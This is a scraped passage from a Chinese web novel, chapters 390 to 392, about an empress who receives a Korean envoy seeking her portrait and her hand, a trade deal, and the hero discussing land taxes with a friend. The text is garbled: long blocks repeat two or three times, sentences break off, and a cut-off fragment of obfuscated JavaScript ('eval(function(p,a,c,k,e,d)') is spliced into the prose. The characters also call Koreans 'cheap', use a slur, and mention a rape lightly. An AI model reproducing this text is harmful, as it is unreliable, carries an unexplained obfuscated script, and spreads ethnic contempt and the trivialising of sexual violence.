刹那间,空气仿若凝固,群臣面面相觑,眼中满是震惊与惶恐。 然而,就在这死寂般的沉默中,林臻身形一动,率先迈出一步,单膝跪地,朗声道:“臣遵旨!” 其实他也没想到今天的慕容嫣居然这么有威慑力,几句话说得不仅天衣无缝,还震慑住了几位言官。 说实话,林臻也觉得周正没那个必要。 月薪三千文,拼什么命啊? 有了林臻的率先响应,百官仿若如梦初醒,虽心中仍有疑虑,却不敢违抗圣命,纷纷撩起官袍下摆,跪地叩首,齐声高呼:“臣等遵旨!” 声浪此起彼伏,震得殿梁簌簌落尘,却也宣告着慕容嫣的权威在这一刻稳住了局面。 退下!” 周正双唇紧抿,嘴角微微下撇,似有千言万语梗在喉间,憋得眼眶泛红。 他满心愤懑,双手握拳,指节泛白,那不甘的情绪几近要喷薄而出。 可在慕容嫣的威压之下,在皇权的赫赫天威面前,他纵有万般委屈,也只能咽下这口气。 他恨恨地努了努嘴,终是没再吐出半个字,长叹一声,拖着沉重的步子,缓缓退回队列之中,那落寞的背影仿佛瞬间沧桑了几岁。 慕容嫣见周正退下,微微平复了一下心绪,再次开口,声音响彻大殿:“朕虽为女子,但不会输给这世间任何男人!凤凰乃祥瑞之鸟,是吉祥、和谐、繁荣的象征。从今往后,凤凰就是大乾祥兽,受万民敬仰,任何敢质疑凤凰的人,一律斩首示众!” 这道旨意一出,仿若一道惊雷劈落朝堂,众人皆惊。 刹那间,空气仿若凝固,群臣面面相觑,眼中满是震惊与惶恐。 然而,就在这死寂般的沉默中,林臻身形一动,率先迈出一步,单膝跪地,朗声道:“臣遵旨!” 其实他也没想到今天的慕容嫣居然这么有威慑力,几句话说得不仅天衣无缝,还震慑住了几位言官。 说实话,林臻也觉得周正没那个必要。 月薪三千文,拼什么命啊? 有了林臻的率先响应,百官仿若如梦初醒,虽心中仍有疑虑,却不敢违抗圣命,纷纷撩起官袍下摆,跪地叩首,齐声高呼:“臣等遵旨!” 声浪此起彼伏,震得殿梁簌簌落尘,却也宣告着慕容嫣的权威在这一刻稳住了局面。 退下!” 周正双唇紧抿,嘴角微微下撇,似有千言万语梗在喉间,憋得眼眶泛红。 他满心愤懑,双手握拳,指节泛白,那不甘的情绪几近要喷薄而出。 可在慕容嫣的威压之下,在皇权的赫赫天威面前,他纵有万般委屈,也只能咽下这口气。 他恨恨地努了努嘴,终是没再吐出半个字,长叹一声,拖着沉重的步子,缓缓退回队列之中,那落寞的背影仿佛瞬间沧桑了几岁。 慕容嫣见周正退下,微微平复了一下心绪,再次开口,声音响彻大殿:“朕虽为女子,但不会输给这世间任何男人!凤凰乃祥瑞之鸟,是吉祥、和谐、繁荣的象征。从今往后,凤凰就是大乾祥兽,受万民敬仰,任何敢质疑凤凰的人,一律斩首示众!” 这道旨意一出,仿若一道惊雷劈落朝堂,众人皆惊。 刹那间,空气仿若凝固,群臣面面相觑,眼中满是震惊与惶恐。 然而,就在这死寂般的沉默中,林臻身形一动,率先迈出一步,单膝跪地,朗声道:“臣遵旨!” 其实他也没想到今天的慕容嫣居然这么有威慑力,几句话说得不仅天衣无缝,还震慑住了几位言官。 说实话,林臻也觉得周正没那个必要。 月薪三千文,拼什么命啊? 有了林臻的率先响应,百官仿若如梦初醒,虽心中仍有疑虑,却不敢违抗圣命,纷纷撩起官袍下摆,跪地叩首,齐声高呼:“臣等遵旨!” 声浪此起彼伏,震得殿梁簌簌落尘,却也宣告着慕容嫣的权威在这一刻稳住了局面。 第390章 感谢书友肆壹肆。打赏的10个文学桂冠 金銮殿内,庄严肃穆之气仿若实质化的浪潮,一波一波地冲击着每一个角落。 慕容嫣身着那身华丽无双的凤袍,端坐在凤椅之上,宛如一尊降临尘世的凤凰神女。 凤袍上的金丝绣线在微光中闪烁,每一只凤凰都似在振翅欲飞,它们的眼睛以圆润珍珠点缀,散发着冷冽而高贵的光泽,与慕容嫣此刻的威严相得益彰。 她那一双凤目缓缓扫过阶下群臣,眼神中透着不容置疑的帝王之气,群臣在这目光的扫视下,纷纷低头,不敢与之对视。 见群臣这般模样,慕容嫣的脸上悄然浮现出几分安定的神色。 终于把这群大臣震慑住了。 她微微松了口气,侧过头,目光投向林臻。 那淡笑的表情仿佛在说:怎么样?朕厉害吧?你有什么话还不赶紧说? 林臻觉得有些好笑。 慕容嫣终究还是孩子心性,关于帝王权术还需磨炼啊。 他上前一步,恭敬地拱手道:“微臣已经拟定一份与韩国签订合作贸易的协议,陛下此前有意亲自监督签署过程,既如此,臣今日把韩国大使金俊煕带过来了,此时就在殿外。” 慕容嫣微微颔首:“好,笔墨伺候。” 一旁的太监无舌得了旨意,尖着嗓子高声应道:“遵旨!” 随后迅速安排小太监们将桌椅搬至金銮殿内合适的位置,摆置得整整齐齐。 一切妥当后,无舌清了清嗓子,拖长音调喊道:“宣韩国大使金俊煕上殿觐见!” 声音在殿内回荡,不多时,殿门缓缓打开,一道身影逆光而入。 韩国使臣金俊煕迈着沉稳的步伐走进殿来,他身着本国特色的华丽服饰,衣袂飘飘,却难掩此刻的拘谨。 刚踏入殿内,他的目光便被那高高坐在凤椅上的慕容嫣所吸引。 这一瞬间,仿若一道惊雷直直劈入他的天灵盖,整个人瞬间呆立当场,脑海中一片空白。 他瞪大了双眼,眼珠子仿佛都要从眼眶中蹦出来,死死地盯着慕容嫣,嘴巴不受控制地微微张开,形成一个大大的“O”型,下颌骨都似要惊得脱臼,半天合不拢嘴。 那眼神,哪里还有半分使臣的沉稳与矜持,全然是被震撼到了极致的失态模样。 在他眼中,慕容嫣哪里还是尘世之人,分明是九天之上降临凡间的天神凤凰,周身散发着让人无法直视的璀璨光芒。 她的脸庞仿若精美的艺术品,每一处轮廓都像是被上天用最细腻的笔触精心勾勒而成。 肌肤白皙胜雪,细腻得看不到一丝瑕疵,仿佛轻轻一掐就能掐出水来;眉如远黛,修长而温婉,透着灵动与柔情;双眸犹如澄澈的秋水,深邃而明亮,眼眸中闪烁的光芒,既有帝王的威严冷峻,又有女子的婉约柔美,仅仅是轻轻一瞥,便能勾人心魄,让人心神荡漾。 琼鼻挺秀,线条优美,宛如玉峰矗立,为她的面容增添了几分立体感与高贵之气;唇若樱桃,不点而朱,微微上扬的嘴角带着一抹似有若无的笑意,既显威严又不失亲和力。 再看她身上那身奢华无比的凤袍,金丝绣成的凤凰栩栩如生,仿佛下一秒就要振翅高飞,带着她直上云霄。 凤凰的眼睛以圆润珍珠点缀,散发着冷冽而高贵的光泽,与慕容嫣此刻的威严相得益彰。 凤袍拖尾从凤台上垂下来,仿若一片绚丽的晚霞,随着她的一举一动,流光溢彩,熠熠生辉,更衬得她超凡脱俗,美轮美奂。 金俊煕定了定神,可双腿扔抖得像筛糠一般。 他艰难地挪动脚步,像是被一股无形的力量牵引着,快步走到近前,双膝跪地,双手伏地,以头叩地,朗声道:“韩国使臣金俊煕拜见大乾皇帝陛下!” 慕容嫣微微抬手,轻声道:“大使平身。” 金俊煕忙又叩首谢恩:“谢陛下。” 随后起身,站立一旁,只是目光仍时不时地偷偷投向慕容嫣,眼中的震撼与倾慕之色难以掩饰。 慕容嫣凤目凝视金俊煕,声音清冷,开口问道:“大乾与韩国关系向来一般,前些年边关也爆发过摩擦,此番贸易,你方却点名要大乾特产的二锅头,甚至不惜以生铁来换取,这般不合常理的交易,目的何在?” 金俊煕微微躬身,恭敬地答道:“外臣这么做的目的,无非只有一个,那便是希望可以见到皇帝陛下。” 林臻回头愣愣地看着他。 这什么意思?前天这棒子不是这么说的。 再者,见慕容嫣做什么?搞刺杀?别闹了,有慕容无舌在,你来多少杀手也是送死。 那干什么?就为了看一眼? 如果是一掷千金博美人一笑的纨绔,这么做还有情可原。 但金俊煕可是驻大乾的使臣,政治能力、外交能力都不可小觑。 这样的人是不可能因为好奇而贩卖国家战略资源换酒喝的。 他肯定还有别的目的。 慕容嫣略微有些得意。 看吧?朕刚以女儿身问鼎大位,就有外国使臣为见朕一面而换取资源。 不过她并未将内心的想法表露出来此刻她神色冷峻抬手微微挥动下凤袍袖口目光转向金俊煕:“哦?你为何要见朕?” 金俊煕再次躬身神色虔诚至极缓缓说道:“我国皇帝陛下久闻大乾皇帝陛下威名对您的风姿与睿智钦佩不已特令外臣前来希望可以得到一张您的画像带回去呈予皇上。在我国陛下心中您的画像价值连城即便付出整个韩国的铁矿也在所不辞。” 此言一出仿若一颗投入平静湖面的巨石瞬间在殿内激起千层浪。 群臣先是一愣随即仿若被点燃的火药桶瞬间爆发。 “岂有此理!韩国小儿安敢出此狂言!” “我大乾皇帝陛下乃万乘之尊岂容尔弹丸小国的贱民窥视!索要画像这是何居心?莫不是想借此羞辱我大乾?” “就是!陛下的画像关乎国体关乎大乾尊严岂能轻易予人?” “韩国历来心怀不轨 “陛下万万不可应允此例一开日后他国必纷纷效仿我大乾威严何在?” 群臣你一言我一语纷纷痛斥韩国使臣的无理要求整个金銮殿内仿若炸开了锅愤怒的声浪此起彼伏震得殿梁都微微颤动。 就连林臻都有些摸不着头脑。 要慕容嫣的画像? 这是干什么? 难不成韩天鸿那老家伙要用嫣儿的画像鹿管? 好歹是一国之君不至于吧 嘶.不行林臻琢磨来琢磨去这事儿肯定有蹊跷。 就算韩天鸿好奇慕容嫣的长相也绝不可能拿国家战略资源出来做筹码。 林臻问道:“你要我大乾皇帝的画像做什么?” 金俊煕根本不搭理林臻忙又跪地急切地对慕容嫣说道:“陛下外臣所言句句属实。我国陛下深知大乾如今国力昌盛文化繁荣对陛下您更是敬仰有加。所以.有意求娶陛下您让两国世代交好甚至合为一体。” “放肆!” “我大乾皇帝陛下乃一国之君岂容尔等这样的小国染指!韩国此举简直是大逆不道妄图颠覆我大乾江山其心可诛!” “荒谬至极!你这是公然挑衅我大乾底线!” “陛下此人目无礼法口出狂言微臣建议即刻将此人逐出朝堂斩了!” “臭棒子!你怕是觊觎我大乾的富庶想用这联姻之计行吞并之实以为我们都是傻子吗 ?” 群臣的反对声浪排山倒海每个人都义愤填膺。 而作为慕容嫣丈夫的林臻反而逐渐冷静了下来。 韩天鸿是傻子吗?明显不是。 韩国的外交大使是傻子吗?肯定也不是。 他们都知道慕容嫣是不会同意这个无理要求的但金俊煕却冒着砍头的风险当众说出来。 干什么? 什么意图? 是想看慕容嫣生不生气? 不对。 他肯定还有别的目的。 只不过林臻一时想不到而已。 慕容嫣凤目含威脸色阴沉得能滴出水来。 她强压怒火看向金俊煕:“金俊煕你韩国好大的胆子竟敢提出如此荒谬的请求!你是不是以为朕不敢杀你啊?” 金俊煕擦了擦额头的汗珠连忙解释道:“陛下息怒我国陛下绝无恶意。只是我国近年来局势动荡内忧外患不断深知唯有与大乾这样的强国携手方能保国安民。联姻之举意在结成稳固同盟共御外敌共享繁荣。况且我国陛下对陛下您倾心已久若能与陛下结为连理必当倾尽举国之力侍奉陛下让大乾与韩国的百姓都能过上富足安康的生活。” “住口!” 慕容嫣气得浑身颤抖。 她一直自诩金凤凰高贵无比然而韩国竟敢觊觎她的身子! 我的身子是林臻的不是你们这种贱民能觊觎的。 “来人!” “在!” “把他给朕砍了!” “是!” 金俊煕见慕容嫣动怒把头磕得像捣蒜似的:“陛下外臣所言句句属实。此番前来还带了一份特殊的礼物以表诚意。” 言罢他朝殿外拍了拍手只见两名随从抬着一个巨大的木箱站在门口。 另有太监把箱子抬进来。 木箱打开里面竟是一尊纯金打造的凤凰雕塑。 凤凰展翅欲飞栩栩如生每一片羽毛都雕琢得细致入微在烛光的映照下 “陛下这尊凤凰雕塑乃我国顶级工匠耗费数月心血打造而成寓意着凤凰呈祥亦是我国对大乾最诚挚的祝福。望陛下笑纳。” 慕容嫣看着那尊凤凰雕塑内心的喜欢无以言表。 但她早已不是当初那个穷怕了的小姑娘不会轻易被这糖衣炮弹所迷惑。 “你以为这就能赎你的罪过了?” “皇帝陛 下,外臣绝无 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林臻不会坑自己,更不会坑大乾。 于是她点点头:“这合约没问题,金俊煕,你可愿意签署? “外臣愿意。 “那好,现在就签,至于你说的画像,朕会考虑的。 “多谢皇帝陛下! 林臻与金俊煕来到书桌前,相对而立,面前的大案上摊开着两份贸易合约。 林臻手中紧握着毛笔,饱蘸墨汁,在合约落款处工工整整地签下自己的大名,笔锋刚劲有力。 金俊熙同样一脸肃穆,微微躬身,在另一侧签下名字,动作虽略显拘谨,却也透着几分庄重。 签罢,金俊熙直起身来,双手抱拳,向慕容嫣行了一礼,朗声道:“外臣这就派人返回韩国,紧锣密鼓地准备贸易诸事,必不负大乾皇帝陛下的信任。 说罢,他再次深深一揖,而后稳步退下,衣袂飘动。 待金俊熙的身影彻底消失在殿门之外,慕容嫣轻抬玉手,微微理了理凤袍的袖口,凤目扫视群臣,声音清冷而威严:“诸位爱卿,此事已初步落定,大家怎么看? 兵部尚书刘恺威率先出列,拱手行礼后说道:“陛下,单从贸易本身而言,用我大乾的二锅头换韩国的生铁,着实是桩极好的买卖。二锅头于我朝而言,酿造工艺成熟,产量颇 丰,而那生铁乃锻造兵器、兴修工事之必备物资,于我大乾的军事、民生皆大有裨益。只是.” 他微微顿了顿,眉头紧锁,眼中闪过一丝忧虑,“微臣实在担心韩国此番主动求贸易,背后恐怕另有隐忧,说不定藏着什么不为人知的目的,甚至对我大乾不利。” 刘恺威此言一出,群臣纷纷点头,交头接耳之声此起彼伏。 “刘大人所言极是,臣附议。”宋正林紧接着附和道,“韩国历来行事多诡谲,今番这般急切地促成交易,又不惜以珍贵铁矿为代价,索要陛下画像,实在可疑。臣担心他们是醉翁之意不在酒,或在刺探我朝虚实,或欲从文化、民心等方面寻我大乾破绽,不可不防。” “臣也以为,当慎之又慎。”户部尚书亦上前一步,忧心忡忡地进言道,“这贸易往来,牵扯甚广,一旦开启,便如开闸洪水,后续诸多事宜皆需把控。若韩国心怀不轨,稍有不慎,便可能引发物价波动、市场混乱,乃至危及我朝经济根基。” 慕容嫣静静地听着群臣的议论,神色冷峻,心中暗自思忖。 林臻思虑再三,上前一步,微微拱手,神色沉稳地开口道:“陛下,诸位大人所言不无道理。然臣以为,不管韩国有何目的,我朝的原则只有一个,那就是绝不容许外国人随意踏入我大乾领土,只要牢牢守住这条底线,他们即便心怀鬼胎,也将无计可施。” 顿了顿,林臻微微皱眉,眼中满是疑惑,继续说道:“只是,臣还是猜不到韩国对陛下画像一事如此执着,究竟是要干什么,若仅仅是为了所谓的敬仰、求娶,这般代价未免太大,且不合常理。” 此言一出,群臣顿时炸开了锅,窃窃私语之声瞬间变成了热烈的讨论。 “莫不是想用陛下画像施展什么妖法邪术?听闻有些番邦有此类诡异行径,妄图以此扰乱他国国运。” “臣以为不然。说不定韩国是想拿陛下画像回去,伪造政令,蛊惑他们本国百姓,让他们以为与我大乾达成了更深层次的合作,以稳定其国内动荡局势。” “还有一种可能。他们或是想借陛下威名,压制国内反对势力。将陛下画像供奉起来,宣扬大乾与他们交好,让反对者不敢轻举妄动。” 各种猜想纷至沓来,殿内气氛愈发焦灼。 慕容嫣坐在凤椅之上,听着群臣的诸多推测,心中亦是一团乱麻。 许久,慕容嫣微微抬手,示意群臣安静,缓缓开口。 第391章 韩国人就是贱 “诸位爱卿此事疑点重重断不可掉以轻心。世子所言守住国门甚是关键后续贸易诸事需各部门协同配合严密监控。至于那画像一事世子你即刻加派人手暗中彻查务必弄清楚韩国的真正意图。” 林臻拱手领命:“微臣遵旨。” 慕容嫣微微点头目光扫视群臣语气威严而坚定:“今日朝会暂且到此众爱卿各司其职若有异动即刻上报。” “臣等遵旨!”群臣齐声高呼声音响彻金銮殿。 “退朝。” 慕容嫣轻轻叹了口气站起身来凤袍拖地缓缓走下凤椅。 散朝之后林臻步履沉稳地跟随着慕容嫣向着养心殿走去。 一路上阳光透过斑驳的树影洒下却未能驱散两人心头的阴霾。 慕容嫣莲步轻移凤袍的下摆随风轻轻摆动绣在其上的凤凰仿若灵动欲飞似也在应和着主人此刻纷扰的心境。 踏入养心殿仿若踏入了凤凰的栖息地。 目光所及之处尽是凤凰元素。 那巍峨的凤椅居于殿中椅背之上一只金凤昂首展翅凤尾蜿蜒垂下与椅座相连金凤的每一片羽毛都以金丝精心勾勒镶嵌着细碎的宝石在微光中闪烁着五彩光芒。 凤案摆在前方案面上雕刻着繁复的凤凰嬉戏图凤凰们或亲昵交颈或引吭高歌栩栩如生。 就连殿角的火炉也是凤凰造型炉身上的凤凰双爪紧扣作腾飞之状炉口火苗跳跃。 环绕殿内的金丝楠木柱子每一根都雕刻着形态各异的凤凰或盘旋而上或振翅欲飞。 眼睛以圆润的珍珠点缀在光影交错下散发着神秘而高贵的光泽。 就连侍奉在侧的太监宫女们身上所穿的衣服也皆绣着火焰纹饰火焰熊熊燃烧寓意着凤凰涅槃生生不息将整个养心殿烘托得如梦如幻尽显皇家威严与神秘。 慕容嫣莲步轻移身姿婀娜凤袍如彩云飘动。 那凤袍以正红锦缎为底金丝银线穿梭交织勾勒出一只只形态各异的凤凰。有的展翅高飞双翅展开足有半人之宽羽毛根根分明 她一步步走向凤榻凤袍的下摆轻轻拂过地面拖出一道绚丽的弧线仿若晚霞铺陈。 腰间束带镶嵌着一块通透碧绿的翡翠雕琢成 凤凰栖于梧桐的模样,不仅将她纤细的腰肢勾勒得恰到好处,更添几分华贵之气。 随着她的靠近,凤榻之上那精美的凤凰刺绣愈发清晰。 凤榻四周垂落着轻薄的帷幔,亦是绣满凤凰,它们或于云端嬉戏,或于花丛亲昵,与凤袍上的凤凰相互呼应,仿若构建出一个凤凰的世界。 慕容嫣微微抬手,玉手如葱段般纤细白皙,轻轻拂开碍路的帷幔,动作优雅至极,恰似仙女撩开云雾。 她侧坐于凤榻之上,凤袍顺势滑落,铺散开来,仿若一朵盛开的红莲,又似一只休憩的金凤,尽显帝王的雍容与尊贵。 林臻见状,也相随坐在她的身边,两人手中各捧着一个精致的凤凰暖手炉,炉身小巧玲珑,却也雕刻着精美的凤凰图案。 丝丝暖意散发出来,驱散着殿内的寒意。 这时,麝月轻手轻脚地端着茶盏走来,将其稳稳地放在凤案上,而后悄然退下。 慕容嫣轻叹了口气,朱唇微启,打破了殿内的寂静:“这几日朝堂之上本就不得安宁,如今又冒出个韩国使臣金俊煕。可气的事他居然提出那般无理请求。 林臻微微侧头,看着慕容嫣,嘴角上扬:“你没杀他,还真是让我意外。 “人家好歹也是使臣,不能说杀就杀,朕也不过是吓吓他罢了。 “你说的没错,那只金凤凰就是他用来买命的。 “呵,韩国人就是贱。 “说得好,韩国人就是贱! 林臻肯定是另有所指的。 后世的棒子不仅给大漂亮当舔狗,还偷我们的遗产,属于是贱。 慕容嫣不知道他内心想法,说道:“夫君,这次你打算怎么办?朕总怀疑韩国还有别的目的。 “没事,兵来将挡水来土掩。只要我们守住国门,他们就算玩出花来也无济于事。况且,二锅头的制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林臻微微点头,神色稍缓,继续叮嘱道:“还有一点尤为重要。在任何情况下,绝不允许韩国人进入我大乾疆域,哪怕是他们以各种借口、理由,也要坚决回绝。若发现有可疑之人意图越界,格杀勿论。我大乾的国门,必须守得严严实实,不能给他们可乘之机。” 庄三亭再次抱拳领命:“末将明白!” 第392章 手头紧也不差这仨瓜俩枣的 慕容嫣在一旁静静地听着,心中对林臻的安排暗自赞许。 待林臻交代完毕,她看向庄三亭,神色关切地说道:“庄爱卿,此次任务艰巨,你和弟兄们一路上要多加小心,若遇到难处,及时传信回来。朕给你们做主。” 庄三亭心中一暖,跪地叩首道:“多谢陛下关怀,末将定不负陛下与世子的期望。” “好,你退下吧,经费问题去赌场找张俪。” 嘎? 林臻纳闷地回过头:“陛下,这是国策啊,国策也让我出钱?” 慕容嫣略微有些不好意思,俏脸一红:“户部最近手头紧。” “那也不差这仨瓜俩枣的吧?微臣赚点钱可不容易。” “你少废话,什么你的我的,还不是我们的?” “这” 慕容嫣好像也觉得这话说得不是很靠谱,于是态度软了下来:“哎呀,大不了生铁的利润分你一半。” 这么说,林臻心里还稍微好受一些。 亲夫妻也得明算账不是? 没错,我赚钱是给你花的,但不是全给你花的,我也得生活啊。 林臻解下自己的游龙玉佩,递给庄三亭:“你去赌场找张俪吧,就说是我的安排。” “谢世子。”庄三亭庄重的结果玉佩,站起身来,又向两人行了一礼,而后转身,迈着大步离去。 见事情解决,林臻准备告辞。 今天他还有很多事情需要处理呢。 “嫣儿,那为夫先回去了,等下还要安排南边的事情。” “嗯,那你去吧,朕也要回寝宫休息下,这里躺着不舒服。” 慕容嫣起身。 那身华丽无双的凤袍随着她的动作轻轻摇曳,仿若被唤醒的神鸟。 凤袍以最上等的锦缎织就,红得夺目,恰似天边燃烧的晚霞,又似烈烈燃烧的赤焰,散发着让人无法直视的威严。 领口与袖口,皆以细密的金线绣着精致的凤纹花边,闪烁着微光。 她莲步轻移,凤袍拖尾仿若灵动的彩云,在地面上缓缓流淌。 拖尾长达数丈,其上绣着的巨型金凤几乎占据整个尾部,金凤双翅展开,足有一人多高,羽毛层层叠叠,以金丝、银线与五彩丝线交织绣成,随着她的步伐,光影变幻间,羽毛似在轻轻颤动,仿佛这金凤随时都会腾空而起。 金凤的眼睛,乃是两颗硕大的红宝石,在阳光透窗而入的映照下,散发着摄人心魄的光芒。 她一步步向着后殿走去,凤 袍的拖尾在身后拖曳,如同一幅徐徐展开的绝美画卷,所经之处,地面仿若都被染上了一层瑰丽的色彩。 两旁侍奉的太监宫女们,纷纷低头跪地,不敢直视,唯有眼角余光瞥见那绚丽的凤袍拖尾,心中暗自惊叹。 关于临邑县以南土地的管理是个大问题。 他们一百多年前是大乾的百姓,后来又做楚国的百姓,而今又回归了大乾的怀抱。 神州大地上每个国家都有每个国家的律法和习俗。 本来在这个国家合理合法的事情,在另外一个国家就变成了十恶不赦。 就比方说,在楚国,农民的粮食税是十税七,而且这个税是由种地的农民交给地主,地主再从往上交,但是不包括农民需要额外交给地主的粮食。 也就是说,农民一年收获一千斤粮食,但自己实际到手也就二百斤左右。 这是理想状态,如果赶着年景不好,或者地主比较霸道,可能还要更少。 但大乾的农税是十税五,地主不许额外抽成,必须保证农民一年到头有一半的粮食。 当然,武清县光明村不算,那是试点,目前还没有看到成果。 所以说,临邑县以南一直到长江北岸的所有城市、所有地主,还保留着十税七的习惯,继续剥削百姓。 当户部把这个问题汇报给林臻的时候,林臻就在考虑该如何平衡这种状态。 总不能把所有地主都砍了吧?虽然林臻现在有这个权力也有这个实力,但杀人终归不是最好的解决办法,而且还会引起他们的反弹,说不准就会成为楚国的奸细。 世家叛变的后果,可要比百姓更加严重,所以林臻得想个万全之策。 林臻坐在书房里正琢磨着,一抬头,就见有个死胖子连门都不敲就走了进来。 进来就进来呗,还径直走到一旁的椅子上坐下,翘起二郎腿。 林臻放下卷宗,无奈地说道:“我说胖子,谁又惹你这么气不顺啊?” 胖子穿着虎皮大氅,像山大王似的,闻言把二郎腿放下:“嘿胖爷就纳闷了,大哥,你说胖爷这段时间够消停了吧?也没犯什么错误吧?我爹怎么就要给我安排相亲了呢?” “相亲?”给胖子安排相亲。 好事儿啊。 “这是好事儿,你性格太莽撞,是该有个女人好好管管你。” “管我?女人管我?你以为谁都像你一样啊?” “你什么意思?” “别装了,你跟陛下那点事现在整个京城谁不知道啊?瞧你天天上朝那劲劲儿的样子!胖爷可不是那种孬种,女人就别想管着胖爷。” 胖子站起身来到林臻面前,拿起烟袋锅子就抽了一口。 抽完还直砸吧嘴,一点没咳嗽。 林臻就知道,他肯定不是第一次偷着抽了。 “胖子,你家三代单传,你也该收收性子生个孩子出来了,王叔估计是着急了所以才要给你安排相亲的。” “胖爷不管,那老犊子想要孙子自己生去。” “你个小王八蛋,怎么说呢?” 这就是胖子啊,逼急眼了连自己爹都骂。 不过这些年胖子也从没表达过不结婚的想法啊,该不会是有心上人了吧? “王叔给你介绍谁家的闺女了吗?” “刑部侍郎的嫡长女,长得和腊八蒜似的。” “噗,那你心里是不是已经有人选啊?” 胖子一愣:“你怎么知道的?” “谁啊?” “就是胖爷那天强暴的天道十二仙,静澜。” “什么?你想娶她?你俩不是不死不休的局面吗?” “嗐,这你就不知道了吧?前几天,他又来刺杀胖爷来了。” 袍的拖尾在身后拖曳,如同一幅徐徐展开的绝美画卷,所经之处,地面仿若都被染上了一层瑰丽的色彩。 两旁侍奉的太监宫女们,纷纷低头跪地,不敢直视,唯有眼角余光瞥见那绚丽的凤袍拖尾,心中暗自惊叹。 关于临邑县以南土地的管理是个大问题。 他们一百多年前是大乾的百姓,后来又做楚国的百姓,而今又回归了大乾的怀抱。 神州大地上每个国家都有每个国家的律法和习俗。 本来在这个国家合理合法的事情,在另外一个国家就变成了十恶不赦。 就比方说,在楚国,农民的粮食税是十税七,而且这个税是由种地的农民交给地主,地主再从往上交,但是不包括农民需要额外交给地主的粮食。 也就是说,农民一年收获一千斤粮食,但自己实际到手也就二百斤左右。 这是理想状态,如果赶着年景不好,或者地主比较霸道,可能还要更少。 但大乾的农税是十税五,地主不许额外抽成,必须保证农民一年到头有一半的粮食。 当然,武清县光明村不算,那是试点,目前还没有看到成果。 所以说,临邑县以南一直到长江北岸的所有城市、所有地主,还保留着十税七的习惯,继续剥削百姓。 当户部把这个问题汇报给林臻的时候,林臻就在考虑该如何平衡这种状态。 总不能把所有地主都砍了吧?虽然林臻现在有这个权力也有这个实力,但杀人终归不是最好的解决办法,而且还会引起他们的反弹,说不准就会成为楚国的奸细。 世家叛变的后果,可要比百姓更加严重,所以林臻得想个万全之策。 林臻坐在书房里正琢磨着,一抬头,就见有个死胖子连门都不敲就走了进来。 进来就进来呗,还径直走到一旁的椅子上坐下,翘起二郎腿。 林臻放下卷宗,无奈地说道:“我说胖子,谁又惹你这么气不顺啊?” 胖子穿着虎皮大氅,像山大王似的,闻言把二郎腿放下:“嘿胖爷就纳闷了,大哥,你说胖爷这段时间够消停了吧?也没犯什么错误吧?我爹怎么就要给我安排相亲了呢?” “相亲?”给胖子安排相亲。 好事儿啊。 “这是好事儿,你性格太莽撞,是该有个女人好好管管你。” “管我?女人管我?你以为谁都像你一样啊?” “你什么意思?” “别装了,你跟陛下那点事现在整个京城谁不知道啊?瞧你天天上朝那劲劲儿的样子!胖爷可不是那种孬种,女人就别想管着胖爷。” 胖子站起身来到林臻面前,拿起烟袋锅子就抽了一口。 抽完还直砸吧嘴,一点没咳嗽。 林臻就知道,他肯定不是第一次偷着抽了。 “胖子,你家三代单传,你也该收收性子生个孩子出来了,王叔估计是着急了所以才要给你安排相亲的。” “胖爷不管,那老犊子想要孙子自己生去。” “你个小王八蛋,怎么说呢?” 这就是胖子啊,逼急眼了连自己爹都骂。 不过这些年胖子也从没表达过不结婚的想法啊,该不会是有心上人了吧? “王叔给你介绍谁家的闺女了吗?” “刑部侍郎的嫡长女,长得和腊八蒜似的。” “噗,那你心里是不是已经有人选啊?” 胖子一愣:“你怎么知道的?” “谁啊?” “就是胖爷那天强暴的天道十二仙,静澜。” “什么?你想娶她?你俩不是不死不休的局面吗?” “嗐,这你就不知道了吧?前几天,他又来刺杀胖爷来了。” 袍的拖尾在身后拖曳,如同一幅徐徐展开的绝美画卷,所经之处,地面仿若都被染上了一层瑰丽的色彩。 两旁侍奉的太监宫女们,纷纷低头跪地,不敢直视,唯有眼角余光瞥见那绚丽的凤袍拖尾,心中暗自惊叹。 关于临邑县以南土地的管理是个大问题。 他们一百多年前是大乾的百姓,后来又做楚国的百姓,而今又回归了大乾的怀抱。 神州大地上每个国家都有每个国家的律法和习俗。 本来在这个国家合理合法的事情,在另外一个国家就变成了十恶不赦。 就比方说,在楚国,农民的粮食税是十税七,而且这个税是由种地的农民交给地主,地主再从往上交,但是不包括农民需要额外交给地主的粮食。 也就是说,农民一年收获一千斤粮食,但自己实际到手也就二百斤左右。 这是理想状态,如果赶着年景不好,或者地主比较霸道,可能还要更少。 但大乾的农税是十税五,地主不许额外抽成,必须保证农民一年到头有一半的粮食。 当然,武清县光明村不算,那是试点,目前还没有看到成果。 所以说,临邑县以南一直到长江北岸的所有城市、所有地主,还保留着十税七的习惯,继续剥削百姓。 当户部把这个问题汇报给林臻的时候,林臻就在考虑该如何平衡这种状态。 总不能把所有地主都砍了吧?虽然林臻现在有这个权力也有这个实力,但杀人终归不是最好的解决办法,而且还会引起他们的反弹,说不准就会成为楚国的奸细。 世家叛变的后果,可要比百姓更加严重,所以林臻得想个万全之策。 林臻坐在书房里正琢磨着,一抬头,就见有个死胖子连门都不敲就走了进来。 进来就进来呗,还径直走到一旁的椅子上坐下,翘起二郎腿。 林臻放下卷宗,无奈地说道:“我说胖子,谁又惹你这么气不顺啊?” 胖子穿着虎皮大氅,像山大王似的,闻言把二郎腿放下:“嘿胖爷就纳闷了,大哥,你说胖爷这段时间够消停了吧?也没犯什么错误吧?我爹怎么就要给我安排相亲了呢?” “相亲?”给胖子安排相亲。 好事儿啊。 “这是好事儿,你性格太莽撞,是该有个女人好好管管你。” “管我?女人管我?你以为谁都像你一样啊?” “你什么意思?” “别装了,你跟陛下那点事现在整个京城谁不知道啊?瞧你天天上朝那劲劲儿的样子!胖爷可不是那种孬种,女人就别想管着胖爷。” 胖子站起身来到林臻面前,拿起烟袋锅子就抽了一口。 抽完还直砸吧嘴,一点没咳嗽。 林臻就知道,他肯定不是第一次偷着抽了。 “胖子,你家三代单传,你也该收收性子生个孩子出来了,王叔估计是着急了所以才要给你安排相亲的。” “胖爷不管,那老犊子想要孙子自己生去。” “你个小王八蛋,怎么说呢?” 这就是胖子啊,逼急眼了连自己爹都骂。 不过这些年胖子也从没表达过不结婚的想法啊,该不会是有心上人了吧? “王叔给你介绍谁家的闺女了吗?” “刑部侍郎的嫡长女,长得和腊八蒜似的。” 